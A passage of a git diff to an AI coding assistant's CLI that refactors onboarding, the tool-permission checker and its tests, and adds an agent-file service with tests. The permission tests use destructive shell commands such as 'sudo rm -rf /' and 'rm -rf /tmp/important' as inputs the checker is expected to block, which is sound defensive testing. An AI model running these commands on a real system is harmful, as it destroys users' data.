fs.writeFileSync(flagPath, new Date().toISOString());
}
-/**
- * Process rules and inject them into the assistant config
- * @param config - The assistant config to modify
- * @param rules - Array of rule specifications to process and inject
- * @returns The modified config with injected rules
- */
-async function injectRulesIntoConfig(
- config: AssistantUnrolled,
- rules: string[],
-): Promise {
- if (!rules || rules.length === 0) {
- return config;
- }
+export async function initializeWithOnboarding(
+ authConfig: AuthConfig,
+ configPath: string | undefined,
+) {
+ const firstTime = await isFirstTime();
- const processedRules: string[] = [];
- for (const ruleSpec of rules) {
+ if (configPath !== undefined) {
+ // throw an early error is configPath is invalid or has errors
try {
- const processedRule = await processPromptOrRule(ruleSpec);
- processedRules.push(processedRule);
- } catch (error: any) {
- console.warn(
- chalk.yellow(
- `Warning: Failed to process rule "${ruleSpec}": ${error.message}`,
- ),
+ await loadConfiguration(
+ authConfig,
+ configPath,
+ getApiClient(authConfig?.accessToken),
+ [],
+ false,
+ );
+ } catch (errorMessage) {
+ throw new Error(
+ `Failed to load config from "${configPath}": ${errorMessage}`,
);
}
}
- if (processedRules.length === 0) {
- return config;
+ if (!firstTime) return;
+
+ const wasOnboarded = await runOnboardingFlow(configPath);
+ if (wasOnboarded) {
+ await markOnboardingComplete();
}
-
- // Clone the config to avoid mutating the original
- const modifiedConfig = { ...config };
-
- // Add processed rules to the config's rules array
- // Each processed rule is a string, which is a valid Rule type
- const existingRules = modifiedConfig.rules || [];
- modifiedConfig.rules = [...existingRules, ...processedRules];
-
- return modifiedConfig;
-}
-
-export async function initializeWithOnboarding(
- authConfig: AuthConfig,
- configPath: string | undefined,
- rules?: string[],
-): Promise {
- const firstTime = await isFirstTime();
-
- let result: OnboardingResult;
-
- if (firstTime) {
- result = await runOnboardingFlow(configPath, authConfig);
- if (result.wasOnboarded) {
- await markOnboardingComplete();
- }
- } else {
- result = await runNormalFlow(authConfig, configPath, rules);
- }
-
- // Inject rules into the config if provided (for onboarding flow which doesn't handle rules directly)
- if (rules && rules.length > 0 && !result.wasOnboarded) {
- result.config = await injectRulesIntoConfig(result.config, rules);
- }
-
- return result;
}
diff --git a/extensions/cli/src/permissions/README.md b/extensions/cli/src/permissions/README.md
index 56846da52..3251b4ce5 100644
--- a/extensions/cli/src/permissions/README.md
+++ b/extensions/cli/src/permissions/README.md
@@ -47,7 +47,7 @@ Tools with "allow" permission are executed immediately without user intervention
### Data Flow
-1. **Tool Loading**: `getAllTools()` in `streamChatResponse.ts` filters out excluded tools
+1. **Tool Loading**: `getAllowedTools()` in `streamChatResponse.ts` filters out excluded tools
2. **Tool Execution**: Before executing each tool call, permissions are checked
3. **User Interaction**: For "ask" policies, UI displays permission request
4. **Execution**: Tool is executed or denied based on permission result
@@ -82,11 +82,4 @@ const result = checkToolPermission({
if (result.permission === "ask") {
// Request user permission
}
-
-// Filter excluded tools
-const allowedTools = filterExcludedTools([
- "readFile",
- "dangerousTool",
- "writeFile",
-]);
```
diff --git a/extensions/cli/src/permissions/index.ts b/extensions/cli/src/permissions/index.ts
index 7e5fca074..dbb352f90 100644
--- a/extensions/cli/src/permissions/index.ts
+++ b/extensions/cli/src/permissions/index.ts
@@ -9,7 +9,6 @@ export type {
export { DEFAULT_TOOL_POLICIES } from "./defaultPolicies.js";
export {
checkToolPermission,
- filterExcludedTools,
matchesArguments,
matchesToolPattern,
} from "./permissionChecker.js";
diff --git a/extensions/cli/src/permissions/permissionChecker.test.ts b/extensions/cli/src/permissions/permissionChecker.test.ts
index b28034b40..e21b80f02 100644
--- a/extensions/cli/src/permissions/permissionChecker.test.ts
+++ b/extensions/cli/src/permissions/permissionChecker.test.ts
@@ -1,15 +1,35 @@
-import { vi, describe, it, expect, beforeEach, afterEach } from "vitest";
+import { beforeEach, describe, expect, it, vi } from "vitest";
-import * as toolsModule from "../tools/index.js";
+import { ALL_BUILT_IN_TOOLS } from "src/tools/allBuiltIns.js";
import {
checkToolPermission,
- filterExcludedTools,
matchesArguments,
matchesToolPattern,
} from "./permissionChecker.js";
import { ToolPermissions } from "./types.js";
+// Create a mock function for evaluateToolCallPolicy
+const mockEvaluateToolCallPolicy = vi.fn();
+
+// Create a mock Bash tool
+const mockBashTool = {
+ name: "Bash",
+ displayName: "Bash",
+ description: "Execute bash commands",
+ parameters: {
+ type: "object" as const,
+ properties: {},
+ },
+ isBuiltIn: true,
+ evaluateToolCallPolicy: mockEvaluateToolCallPolicy,
+ run: vi.fn(),
+};
+
+// Replace the array contents with our mock tool
+ALL_BUILT_IN_TOOLS.length = 0;
+ALL_BUILT_IN_TOOLS.push(mockBashTool as any);
+
describe("Permission Checker", () => {
describe("matchesToolPattern", () => {
it("should match exact tool names", () => {
@@ -448,16 +468,6 @@ describe("Permission Checker", () => {
expect(normalResult.permission).toBe("allow");
});
- it("should use default policies when no custom permissions provided", () => {
- const result = checkToolPermission({
- name: "Read",
- arguments: { path: "/test.txt" },
- });
-
- // Should match the default policies (Read should be "allow")
- expect(result.permission).toBe("allow");
- });
-
it("should fall back to ask when no policy matches", () => {
const permissions: ToolPermissions = {
policies: [{ tool: "specificTool", permission: "allow" }],
@@ -556,73 +566,10 @@ describe("Permission Checker", () => {
});
});
- describe("filterExcludedTools", () => {
- it("should filter out excluded tools", () => {
- const permissions: ToolPermissions = {
- policies: [
- { tool: "runTerminalCommand", permission: "exclude" },
- { tool: "writeFile", permission: "ask" },
- { tool: "*", permission: "allow" },
- ],
- };
-
- const tools = [
- "readFile",
- "writeFile",
- "runTerminalCommand",
- "searchCode",
- ];
- const filtered = filterExcludedTools(tools, permissions);
-
- expect(filtered).toEqual(["readFile", "writeFile", "searchCode"]);
- expect(filtered).not.toContain("runTerminalCommand");
- });
-
- it("should return all tools when none are excluded", () => {
- const permissions: ToolPermissions = {
- policies: [{ tool: "*", permission: "allow" }],
- };
-
- const tools = ["readFile", "writeFile", "runTerminalCommand"];
- const filtered = filterExcludedTools(tools, permissions);
-
- expect(filtered).toEqual(tools);
- });
-
- it("should use default policies when no permissions provided", () => {
- const tools = ["readFile", "writeFile", "runTerminalCommand"];
- const filtered = filterExcludedTools(tools);
-
- // All tools should be included (none excluded by default)
- expect(filtered).toEqual(tools);
- });
- });
-
describe("Hybrid Permission Model with Dynamic Evaluation", () => {
- // Mock the runTerminalCommand tool with evaluateToolCallPolicy
- const mockBashTool = {
- name: "Bash",
- displayName: "Bash",
- description: "Execute bash commands",
- parameters: {},
- isBuiltIn: true,
- evaluateToolCallPolicy: vi.fn(),
- run: vi.fn(),
- };
-
beforeEach(() => {
- vi.clearAllMocks();
- // Mock getAllBuiltinTools to return our test tool
- vi.spyOn(toolsModule, "getAllBuiltinTools").mockReturnValue([
- mockBashTool,
- ]);
-
// Reset mock between tests
- mockBashTool.evaluateToolCallPolicy.mockClear();
- });
-
- afterEach(() => {
- vi.restoreAllMocks();
+ mockEvaluateToolCallPolicy.mockClear();
});
describe("User has Bash in 'allow' mode", () => {
@@ -634,9 +581,7 @@ describe("Permission Checker", () => {
};
it("should allow safe commands (echo hello)", () => {
- mockBashTool.evaluateToolCallPolicy.mockReturnValue(
- "allowedWithoutPermission",
- );
+ mockEvaluateToolCallPolicy.mockReturnValue("allowedWithoutPermission");
const result = checkToolPermission(
{ name: "Bash", arguments: { command: "echo hello" } },
@@ -644,16 +589,14 @@ describe("Permission Checker", () => {
);
expect(result.permission).toBe("allow"); // User preference wins
- expect(mockBashTool.evaluateToolCallPolicy).toHaveBeenCalledWith(
+ expect(mockEvaluateToolCallPolicy).toHaveBeenCalledWith(
"allowedWithoutPermission", // converted from "allow"
{ command: "echo hello" },
);
});
it("should allow risky commands based on user preference (curl)", () => {
- mockBashTool.evaluateToolCallPolicy.mockReturnValue(
- "allowedWithPermission",
- );
+ mockEvaluateToolCallPolicy.mockReturnValue("allowedWithPermission");
const result = checkToolPermission(
{ name: "Bash", arguments: { command: "curl https://example.com" } },
@@ -661,14 +604,14 @@ describe("Permission Checker", () => {
);
expect(result.permission).toBe("allow"); // User preference wins over "ask"
- expect(mockBashTool.evaluateToolCallPolicy).toHaveBeenCalledWith(
+ expect(mockEvaluateToolCallPolicy).toHaveBeenCalledWith(
"allowedWithoutPermission", // converted from "allow"
{ command: "curl https://example.com" },
);
});
it("should block dangerous commands despite user preference (eval)", () => {
- mockBashTool.evaluateToolCallPolicy.mockReturnValue("disabled");
+ mockEvaluateToolCallPolicy.mockReturnValue("disabled");
const result = checkToolPermission(
{ name: "Bash", arguments: { command: "eval 'echo safe'" } },
@@ -676,14 +619,14 @@ describe("Permission Checker", () => {
);
expect(result.permission).toBe("exclude"); // Security wins
- expect(mockBashTool.evaluateToolCallPolicy).toHaveBeenCalledWith(
+ expect(mockEvaluateToolCallPolicy).toHaveBeenCalledWith(
"allowedWithoutPermission", // converted from "allow"
{ command: "eval 'echo safe'" },
);
});
it("should block sudo commands despite user preference", () => {
- mockBashTool.evaluateToolCallPolicy.mockReturnValue("disabled");
+ mockEvaluateToolCallPolicy.mockReturnValue("disabled");
const result = checkToolPermission(
{ name: "Bash", arguments: { command: "sudo rm -rf /" } },
@@ -703,9 +646,7 @@ describe("Permission Checker", () => {
};
it("should ask for safe commands based on user preference (echo)", () => {
- mockBashTool.evaluateToolCallPolicy.mockReturnValue(
- "allowedWithoutPermission",
- );
+ mockEvaluateToolCallPolicy.mockReturnValue("allowedWithoutPermission");
const result = checkToolPermission(
{ name: "Bash", arguments: { command: "echo hello" } },
@@ -713,16 +654,14 @@ describe("Permission Checker", () => {
);
expect(result.permission).toBe("ask"); // User preference wins
- expect(mockBashTool.evaluateToolCallPolicy).toHaveBeenCalledWith(
+ expect(mockEvaluateToolCallPolicy).toHaveBeenCalledWith(
"allowedWithPermission", // converted from "ask"
{ command: "echo hello" },
);
});
it("should ask for risky commands (curl)", () => {
- mockBashTool.evaluateToolCallPolicy.mockReturnValue(
- "allowedWithPermission",
- );
+ mockEvaluateToolCallPolicy.mockReturnValue("allowedWithPermission");
const result = checkToolPermission(
{ name: "Bash", arguments: { command: "curl https://example.com" } },
@@ -730,14 +669,14 @@ describe("Permission Checker", () => {
);
expect(result.permission).toBe("ask"); // Both agree on "ask"
- expect(mockBashTool.evaluateToolCallPolicy).toHaveBeenCalledWith(
+ expect(mockEvaluateToolCallPolicy).toHaveBeenCalledWith(
"allowedWithPermission", // converted from "ask"
{ command: "curl https://example.com" },
);
});
it("should block dangerous commands (eval)", () => {
- mockBashTool.evaluateToolCallPolicy.mockReturnValue("disabled");
+ mockEvaluateToolCallPolicy.mockReturnValue("disabled");
const result = checkToolPermission(
{ name: "Bash", arguments: { command: "eval 'echo safe'" } },
@@ -745,14 +684,14 @@ describe("Permission Checker", () => {
);
expect(result.permission).toBe("exclude"); // Security wins
- expect(mockBashTool.evaluateToolCallPolicy).toHaveBeenCalledWith(
+ expect(mockEvaluateToolCallPolicy).toHaveBeenCalledWith(
"allowedWithPermission", // converted from "ask"
{ command: "eval 'echo safe'" },
);
});
it("should block rm -rf commands", () => {
- mockBashTool.evaluateToolCallPolicy.mockReturnValue("disabled");
+ mockEvaluateToolCallPolicy.mockReturnValue("disabled");
const result = checkToolPermission(
{ name: "Bash", arguments: { command: "rm -rf /tmp/important" } },
@@ -770,9 +709,7 @@ describe("Permission Checker", () => {
it("should always exclude regardless of dynamic evaluation", () => {
// Even if dynamic evaluation would allow it
- mockBashTool.evaluateToolCallPolicy.mockReturnValue(
- "allowedWithoutPermission",
- );
+ mockEvaluateToolCallPolicy.mockReturnValue("allowedWithoutPermission");
const result = checkToolPermission(
{ name: "Bash", arguments: { command: "echo hello" } },
@@ -780,7 +717,7 @@ describe("Permission Checker", () => {
);
expect(result.permission).toBe("exclude"); // User excluded the tool entirely
- expect(mockBashTool.evaluateToolCallPolicy).toHaveBeenCalledWith(
+ expect(mockEvaluateToolCallPolicy).toHaveBeenCalledWith(
"disabled", // converted from "exclude"
{ command: "echo hello" },
);
@@ -863,7 +800,7 @@ describe("Permission Checker", () => {
testCases.forEach(({ command, dynamicResult, expected }) => {
it(`should handle '${command}' correctly`, () => {
- mockBashTool.evaluateToolCallPolicy.mockReturnValue(dynamicResult);
+ mockEvaluateToolCallPolicy.mockReturnValue(dynamicResult);
const result = checkToolPermission(
{ name: "Bash", arguments: { command } },
@@ -877,21 +814,6 @@ describe("Permission Checker", () => {
describe("Edge cases", () => {
it("should handle tools without dynamic evaluation", () => {
- // Mock a Read tool without evaluateToolCallPolicy
- const mockReadTool = {
- name: "Read",
- displayName: "Read",
- description: "Read files",
- parameters: {},
- isBuiltIn: true,
- run: vi.fn(),
- // No evaluateToolCallPolicy
- };
- vi.mocked(toolsModule.getAllBuiltinTools).mockReturnValue([
- mockReadTool,
- mockBashTool,
- ]);
-
const permissions: ToolPermissions = {
policies: [{ tool: "Read", permission: "allow" }],
};
@@ -902,7 +824,7 @@ describe("Permission Checker", () => {
);
expect(result.permission).toBe("allow");
- expect(mockBashTool.evaluateToolCallPolicy).not.toHaveBeenCalled();
+ expect(mockEvaluateToolCallPolicy).not.toHaveBeenCalled();
});
it("should use default 'ask' when no policy matches", () => {
@@ -910,9 +832,7 @@ describe("Permission Checker", () => {
policies: [],
};
- mockBashTool.evaluateToolCallPolicy.mockReturnValue(
- "allowedWithPermission",
- );
+ mockEvaluateToolCallPolicy.mockReturnValue("allowedWithPermission");
const result = checkToolPermission(
{ name: "Bash", arguments: { command: "echo test" } },
@@ -920,16 +840,14 @@ describe("Permission Checker", () => {
);
expect(result.permission).toBe("ask"); // Default fallback, user preference wins
- expect(mockBashTool.evaluateToolCallPolicy).toHaveBeenCalledWith(
+ expect(mockEvaluateToolCallPolicy).toHaveBeenCalledWith(
"allowedWithPermission", // converted from default "ask"
{ command: "echo test" },
);
});
it("should handle null/undefined arguments gracefully", () => {
- mockBashTool.evaluateToolCallPolicy.mockReturnValue(
- "allowedWithPermission",
- );
+ mockEvaluateToolCallPolicy.mockReturnValue("allowedWithPermission");
const permissions: ToolPermissions = {
policies: [{ tool: "Bash", permission: "allow" }],
@@ -941,16 +859,14 @@ describe("Permission Checker", () => {
);
expect(result.permission).toBe("allow");
- expect(mockBashTool.evaluateToolCallPolicy).toHaveBeenCalledWith(
+ expect(mockEvaluateToolCallPolicy).toHaveBeenCalledWith(
"allowedWithoutPermission",
{},
);
});
it("should maintain matched policy information", () => {
- mockBashTool.evaluateToolCallPolicy.mockReturnValue(
- "allowedWithoutPermission",
- );
+ mockEvaluateToolCallPolicy.mockReturnValue("allowedWithoutPermission");
const policy = { tool: "Bash", permission: "allow" as const };
const permissions: ToolPermissions = {
diff --git a/extensions/cli/src/permissions/permissionChecker.ts b/extensions/cli/src/permissions/permissionChecker.ts
index 55a4fbfab..093137d30 100644
--- a/extensions/cli/src/permissions/permissionChecker.ts
+++ b/extensions/cli/src/permissions/permissionChecker.ts
@@ -1,11 +1,7 @@
import type { ToolPolicy } from "@continuedev/terminal-security";
-import { getServiceSync } from "../services/index.js";
-import type { ToolPermissionServiceState } from "../services/types.js";
-import { SERVICE_NAMES } from "../services/types.js";
-import { getAllBuiltinTools } from "../tools/index.js";
+import { ALL_BUILT_IN_TOOLS } from "src/tools/allBuiltIns.js";
-import { DEFAULT_TOOL_POLICIES } from "./defaultPolicies.js";
import {
PermissionCheckResult,
PermissionPolicy,
@@ -131,25 +127,9 @@ function permissionPolicyToToolPolicy(
*/
export function checkToolPermission(
toolCall: ToolCallRequest,
- permissions?: ToolPermissions,
+ permissions: ToolPermissions,
): PermissionCheckResult {
- // Get permissions from service if not provided
- let policies = permissions?.policies;
-
- if (!policies) {
- const serviceResult = getServiceSync(
- SERVICE_NAMES.TOOL_PERMISSIONS,
- );
-
- // Only use defaults if service is not ready, not registered, or has no value
- // This allows critical runtime errors to propagate properly
- if (serviceResult.state !== "ready" || !serviceResult.value) {
- policies = DEFAULT_TOOL_POLICIES;
- } else {
- policies =
- serviceResult.value.permissions.policies || DEFAULT_TOOL_POLICIES;
- }
- }
+ const policies = permissions.policies;
// First, get the base permission from static policies
let basePermission: PermissionPolicy = "ask";
@@ -167,9 +147,7 @@ export function checkToolPermission(
}
// Check if tool has dynamic policy evaluation
- const builtinTools = getAllBuiltinTools();
- const tool = builtinTools.find((t) => t.name === toolCall.name);
-
+ const tool = ALL_BUILT_IN_TOOLS.find((t) => t.name === toolCall.name);
if (tool?.evaluateToolCallPolicy) {
// Convert CLI permission to core policy
const basePolicy = permissionPolicyToToolPolicy(basePermission);
@@ -201,19 +179,3 @@ export function checkToolPermission(
matchedPolicy,
};
}
-
-/**
- * Filters out tools that have "exclude" permission from a list of tool names.
- */
-export function filterExcludedTools(
- toolNames: string[],
- permissions?: ToolPermissions,
-): string[] {
- return toolNames.filter((toolName) => {
- const result = checkToolPermission(
- { name: toolName, arguments: {} },
- permissions,
- );
- return result.permission !== "exclude";
- });
-}
diff --git a/extensions/cli/src/services/AgentFileService.test.ts b/extensions/cli/src/services/AgentFileService.test.ts
new file mode 100644
index 000000000..1100095c1
--- /dev/null
+++ b/extensions/cli/src/services/AgentFileService.test.ts
@@ -0,0 +1,431 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+import {
+ AgentFileService,
+ EMPTY_AGENT_FILE_STATE,
+} from "./AgentFileService.js";
+
+// Mock the hubLoader module
+vi.mock("../hubLoader.js", () => ({
+ loadPackageFromHub: vi.fn(),
+ loadPackagesFromHub: vi.fn(),
+ loadModelFromHub: vi.fn(),
+ mcpProcessor: {},
+ modelProcessor: {},
+ processRule: vi.fn(),
+ isStringRule: vi.fn(),
+ agentFileProcessor: {
+ type: "agentFile",
+ expectedFileExtensions: [".md"],
+ parseContent: vi.fn(),
+ validateContent: vi.fn(),
+ },
+}));
+
+// Mock the logger
+vi.mock("../util/logger.js", () => ({
+ logger: {
+ debug: vi.fn(),
+ error: vi.fn(),
+ warn: vi.fn(),
+ },
+}));
+
+// Mock config module
+vi.mock("../config.js", () => ({
+ createLlmApi: vi.fn(),
+ getLlmApi: vi.fn(),
+}));
+
+// Mock auth module
+vi.mock("../auth/workos.js", () => ({
+ getModelName: vi.fn(),
+ loadAuthConfig: vi.fn(),
+}));
+
+// Mock the config-yaml package
+vi.mock("@continuedev/config-yaml", async (importOriginal) => {
+ const actual =
+ await importOriginal();
+ return {
+ ...actual,
+ };
+});
+
+// Mock service container
+vi.mock("./ServiceContainer.js", () => ({
+ serviceContainer: {
+ get: vi.fn(),
+ set: vi.fn(),
+ reload: vi.fn(),
+ },
+}));
+
+describe("AgentFileService", () => {
+ let agentFileService: AgentFileService;
+ let mockLoadPackageFromHub: any;
+ let mockLoadModelFromHub: any;
+
+ const mockAgentFile = {
+ name: "Test Agent File",
+ description: "A test agent for integration testing",
+ model: "gpt-4-agent",
+ tools: "bash,read,write",
+ rules: "Always be helpful and concise",
+ prompt: "You are an assistant.",
+ };
+
+ const mockAssistant = {
+ models: [
+ {
+ provider: "openai",
+ name: "gpt-3.5-turbo",
+ roles: ["chat"],
+ },
+ {
+ provider: "openai",
+ name: "gpt-4",
+ roles: ["chat"],
+ },
+ ],
+ };
+
+ const mockAuthConfig = {
+ apiKey: "test-key",
+ };
+
+ beforeEach(async () => {
+ vi.clearAllMocks();
+
+ // Get mock functions
+ const hubLoaderModule = await import("../hubLoader.js");
+ mockLoadPackageFromHub = hubLoaderModule.loadPackageFromHub as any;
+ mockLoadModelFromHub = hubLoaderModule.loadModelFromHub as any;
+
+ // Create service instance
+ agentFileService = new AgentFileService();
+
+ // Setup default mocks
+ mockLoadPackageFromHub.mockResolvedValue(mockAgentFile);
+ mockLoadModelFromHub.mockResolvedValue({
+ name: "gpt-4-agent",
+ provider: "openai",
+ });
+ });
+
+ describe("initialization", () => {
+ it("should initialize with empty state when no agent slug provided", async () => {
+ const authServiceState = {
+ authConfig: mockAuthConfig,
+ isAuthenticated: true,
+ };
+ const apiClientState = { apiClient: { mock: "apiClient" } };
+
+ const result = await agentFileService.initialize(
+ undefined,
+ authServiceState,
+ apiClientState,
+ );
+
+ expect(result).toEqual(EMPTY_AGENT_FILE_STATE);
+ expect(agentFileService.getState()).toEqual(EMPTY_AGENT_FILE_STATE);
+ expect(mockLoadPackageFromHub).not.toHaveBeenCalled();
+ });
+
+ it("should load and parse agent file when slug is provided", async () => {
+ const authServiceState = {
+ authConfig: mockAuthConfig,
+ isAuthenticated: true,
+ };
+ const apiClientState = { apiClient: { mock: "apiClient" } };
+
+ await agentFileService.initialize(
+ "owner/agent",
+ authServiceState,
+ apiClientState,
+ );
+
+ expect(mockLoadPackageFromHub).toHaveBeenCalledWith(
+ "owner/agent",
+ expect.objectContaining({
+ type: "agentFile",
+ expectedFileExtensions: [".md"],
+ }),
+ );
+
+ const state = agentFileService.getState();
+ expect(state.agentFile).toEqual(mockAgentFile);
+ expect(state.slug).toBe("owner/agent");
+ });
+
+ it("should load agent file model when model is specified", async () => {
+ const authServiceState = {
+ authConfig: mockAuthConfig,
+ isAuthenticated: true,
+ };
+ const apiClientState = { apiClient: { mock: "apiClient" } };
+
+ await agentFileService.initialize(
+ "owner/agent",
+ authServiceState,
+ apiClientState,
+ );
+
+ expect(mockLoadModelFromHub).toHaveBeenCalledWith("gpt-4-agent");
+
+ const state = agentFileService.getState();
+ expect(state.agentFileModel).toEqual({
+ name: "gpt-4-agent",
+ provider: "openai",
+ });
+ });
+ });
+
+ describe("rules parsing", () => {
+ it("should parse rules when agent file has rules", async () => {
+ const authServiceState = {
+ authConfig: mockAuthConfig,
+ isAuthenticated: true,
+ };
+ const apiClientState = { apiClient: { mock: "apiClient" } };
+
+ await agentFileService.initialize(
+ "owner/agent",
+ authServiceState,
+ apiClientState,
+ );
+
+ const state = agentFileService.getState();
+ expect(state.parsedRules).toBeDefined();
+ expect(state.parsedRules).toEqual(["Always be helpful and concise"]);
+ });
+
+ it("should not parse rules when agent file has no rules", async () => {
+ const agentFileWithoutRules = { ...mockAgentFile, rules: undefined };
+ mockLoadPackageFromHub.mockResolvedValue(agentFileWithoutRules);
+
+ const authServiceState = {
+ authConfig: mockAuthConfig,
+ isAuthenticated: true,
+ };
+ const apiClientState = { apiClient: { mock: "apiClient" } };
+
+ await agentFileService.initialize(
+ "owner/agent",
+ authServiceState,
+ apiClientState,
+ );
+
+ const state = agentFileService.getState();
+ expect(state.parsedRules).toBeNull();
+ });
+ });
+
+ describe("tools parsing", () => {
+ it("should parse tools when agent file has tools", async () => {
+ const authServiceState = {
+ authConfig: mockAuthConfig,
+ isAuthenticated: true,
+ };
+ const apiClientState = { apiClient: { mock: "apiClient" } };
+
+ await agentFileService.initialize(
+ "owner/agent",
+ authServiceState,
+ apiClientState,
+ );
+
+ const state = agentFileService.getState();
+ expect(state.parsedTools).toBeDefined();
+ expect(state.parsedTools?.mcpServers).toBeDefined();
+ expect(Array.isArray(state.parsedTools?.mcpServers)).toBe(true);
+ });
+
+ it("should not parse tools when agent file has no tools", async () => {
+ const agentFileWithoutTools = { ...mockAgentFile, tools: undefined };
+ mockLoadPackageFromHub.mockResolvedValue(agentFileWithoutTools);
+
+ const authServiceState = {
+ authConfig: mockAuthConfig,
+ isAuthenticated: true,
+ };
+ const apiClientState = { apiClient: { mock: "apiClient" } };
+
+ await agentFileService.initialize(
+ "owner/agent",
+ authServiceState,
+ apiClientState,
+ );
+
+ const state = agentFileService.getState();
+ expect(state.parsedTools).toBeNull();
+ });
+ });
+
+ describe("model loading", () => {
+ it("should not load model when agent file has no model", async () => {
+ const agentFileWithoutModel = { ...mockAgentFile, model: undefined };
+ mockLoadPackageFromHub.mockResolvedValue(agentFileWithoutModel);
+
+ const authServiceState = {
+ authConfig: mockAuthConfig,
+ isAuthenticated: true,
+ };
+ const apiClientState = { apiClient: { mock: "apiClient" } };
+
+ await agentFileService.initialize(
+ "owner/agent",
+ authServiceState,
+ apiClientState,
+ );
+
+ expect(mockLoadModelFromHub).not.toHaveBeenCalled();
+
+ const state = agentFileService.getState();
+ expect(state.agentFileModel).toBeNull();
+ });
+
+ it("should throw error when API client is not available for model loading", async () => {
+ const authServiceState = {
+ authConfig: mockAuthConfig,
+ isAuthenticated: true,
+ };
+ const apiClientState = { apiClient: null };
+
+ await expect(
+ agentFileService.initialize(
+ "owner/agent",
+ authServiceState,
+ apiClientState,
+ ),
+ ).rejects.toThrow(
+ "Cannot load agent model, failed to load api client service",
+ );
+ });
+ });
+
+ describe("error handling", () => {
+ it("should throw error when agent loading fails", async () => {
+ mockLoadPackageFromHub.mockRejectedValue(new Error("Network error"));
+
+ const authServiceState = {
+ authConfig: mockAuthConfig,
+ isAuthenticated: true,
+ };
+ const apiClientState = { apiClient: { mock: "apiClient" } };
+
+ await expect(
+ agentFileService.initialize(
+ "owner/agent",
+ authServiceState,
+ apiClientState,
+ ),
+ ).rejects.toThrow("Network error");
+
+ const state = agentFileService.getState();
+ expect(state.agentFile).toBeNull();
+ });
+
+ it("should throw error for invalid agent slug format", async () => {
+ const authServiceState = {
+ authConfig: mockAuthConfig,
+ isAuthenticated: true,
+ };
+ const apiClientState = { apiClient: { mock: "apiClient" } };
+
+ await expect(
+ agentFileService.initialize(
+ "invalid-slug",
+ authServiceState,
+ apiClientState,
+ ),
+ ).rejects.toThrow(
+ 'Invalid agent slug format. Expected "owner/package", got: invalid-slug',
+ );
+ });
+
+ it("should throw error when model loading fails", async () => {
+ mockLoadModelFromHub.mockRejectedValue(new Error("Model load error"));
+
+ const authServiceState = {
+ authConfig: mockAuthConfig,
+ isAuthenticated: true,
+ };
+ const apiClientState = { apiClient: { mock: "apiClient" } };
+
+ await expect(
+ agentFileService.initialize(
+ "owner/agent",
+ authServiceState,
+ apiClientState,
+ ),
+ ).rejects.toThrow("Model load error");
+ });
+ });
+
+ describe("state management", () => {
+ it("should return correct state after initialization", async () => {
+ const authServiceState = {
+ authConfig: mockAuthConfig,
+ isAuthenticated: true,
+ };
+ const apiClientState = { apiClient: { mock: "apiClient" } };
+
+ await agentFileService.initialize(
+ "owner/agent",
+ authServiceState,
+ apiClientState,
+ );
+
+ const state = agentFileService.getState();
+ expect(state.agentFile).toEqual(mockAgentFile);
+ expect(state.slug).toBe("owner/agent");
+ expect(state.parsedRules).toEqual(["Always be helpful and concise"]);
+ expect(state.parsedTools?.mcpServers).toBeDefined();
+ expect(Array.isArray(state.parsedTools?.mcpServers)).toBe(true);
+ expect(state.agentFileModel).toEqual({
+ name: "gpt-4-agent",
+ provider: "openai",
+ });
+ });
+
+ it("should have correct dependencies", () => {
+ const dependencies = agentFileService.getDependencies();
+ expect(dependencies).toEqual(["auth", "apiClient"]);
+ });
+ });
+
+ describe("partial data handling", () => {
+ it("should handle agent file with missing optional properties", async () => {
+ const partialAgentFile = {
+ name: "Partial Agent File",
+ model: "gpt-3.5-turbo",
+ prompt: "Partial prompt",
+ // No tools or rules
+ };
+
+ mockLoadPackageFromHub.mockResolvedValue(partialAgentFile);
+
+ const authServiceState = {
+ authConfig: mockAuthConfig,
+ isAuthenticated: true,
+ };
+ const apiClientState = { apiClient: { mock: "apiClient" } };
+
+ await agentFileService.initialize(
+ "owner/partial",
+ authServiceState,
+ apiClientState,
+ );
+
+ const state = agentFileService.getState();
+ expect(state.agentFile?.name).toBe("Partial Agent File");
+ expect(state.agentFile?.model).toBe("gpt-3.5-turbo");
+ expect(state.agentFile?.prompt).toBe("Partial prompt");
+ expect(state.agentFile?.tools).toBeUndefined();
+ expect(state.agentFile?.rules).toBeUndefined();
+ expect(state.parsedRules).toBeNull();
+ expect(state.parsedTools).toBeNull();
+ });
+ });
+});
diff --git a/extensions/cli/src/services/AgentFileService.ts b/extensions/cli/src/services/AgentFileService.ts
new file mode 100644
index 000000000..81dd0e4df
--- /dev/null
+++ b/extensions/cli/src/services/AgentFileService.ts
@@ -0,0 +1,115 @@
+import {
+ parseAgentFileRules,
+ parseAgentFileTools,
+} from "@continuedev/config-yaml";
+
+import {
+ agentFileProcessor,
+ loadModelFromHub,
+ loadPackageFromHub,
+} from "../hubLoader.js";
+import { logger } from "../util/logger.js";
+
+import { BaseService, ServiceWithDependencies } from "./BaseService.js";
+import { serviceContainer } from "./ServiceContainer.js";
+import {
+ AgentFileServiceState,
+ ApiClientServiceState,
+ AuthServiceState,
+ SERVICE_NAMES,
+} from "./types.js";
+
+export const EMPTY_AGENT_FILE_STATE: AgentFileServiceState = {
+ agentFile: null,
+ slug: null,
+ parsedRules: null,
+ parsedTools: null,
+ agentFileModel: null,
+};
+/**
+ * Service for managing agent file state
+ * Loads agent files from the hub and extracts model, tools, and prompt information
+ */
+export class AgentFileService
+ extends BaseService
+ implements ServiceWithDependencies
+{
+ constructor() {
+ super("AgentFileService", {
+ ...EMPTY_AGENT_FILE_STATE,
+ });
+ }
+
+ getDependencies(): string[] {
+ return [SERVICE_NAMES.AUTH, SERVICE_NAMES.API_CLIENT];
+ }
+
+ /**
+ * Initialize the agent file service with a hub slug
+ */
+ async doInitialize(
+ agentFileSlug: string | undefined,
+ authServiceState: AuthServiceState,
+ apiClientState: ApiClientServiceState,
+ ): Promise {
+ if (!agentFileSlug) {
+ return {
+ ...EMPTY_AGENT_FILE_STATE,
+ };
+ }
+
+ try {
+ const parts = agentFileSlug.split("/");
+ if (parts.length !== 2) {
+ throw new Error(
+ `Invalid agent slug format. Expected "owner/package", got: ${agentFileSlug}`,
+ );
+ }
+
+ const agentFile = await loadPackageFromHub(
+ agentFileSlug,
+ agentFileProcessor,
+ );
+
+ // Set the basic agent file state
+ this.setState({
+ agentFile,
+ slug: agentFileSlug,
+ });
+
+ if (agentFile.model) {
+ if (!apiClientState.apiClient) {
+ throw new Error(
+ "Cannot load agent model, failed to load api client service",
+ );
+ }
+ const model = await loadModelFromHub(agentFile.model);
+ this.setState({
+ agentFileModel: model,
+ });
+ }
+
+ if (agentFile.rules) {
